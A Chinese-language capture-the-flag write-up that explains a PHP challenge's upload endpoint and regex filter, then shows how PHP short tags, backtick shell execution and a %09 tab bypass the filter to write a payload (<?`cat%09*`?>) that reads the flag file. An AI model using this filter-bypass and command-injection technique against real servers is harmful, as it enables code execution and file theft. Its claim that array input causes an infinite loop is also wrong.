反引号的使用以及php短标签

反引号的使用以及php短标签

打开页面,发现是源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
 <?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}

function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>

我们可以看见源码中有两个自定义函数waf()和check()函数

对于第一个waf()函数,我们可以知道

1
2
3
4
5
6
7
8
9
function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}

当输入的值为数组时会进入一个死循环,而当输入的值部位数组时,会进入check()函数

1
2
3
4
5
6
7
8
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}

可见正则过滤了空格、下划线、^、+、eval、{、},且由于是

1
/ /i

所以是不区分大小写,而对于主体代码

1
2
3
4
5
6
7
8
9
10
11
12
13
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}

可知,当?action=pwd时,会回显路径

1
sandbox/f2f0c289641ba52db7d0edeb85513ada/

而我们?action=upload时,会将$data的内容写入到

1
sandbox/f2f0c289641ba52db7d0edeb85513ada/index.php

所以我们可以利用这个一点来构造恶意代码,但是它过滤了php,所以我们可以使用php的短标签

1
2
3
<?= ?>相当于<?echo ?>

<? ?>

而php有一个特性,就是当php代码中有反引号闭合的,就会将反引号闭合的当作是shell命令执行,相当于shell_exec(),所以当禁用shell_exec()时失效

因此可以构造

1
data=<?`cat%09*`?>

其中%09是绕过空格过滤的,这样即可读出flag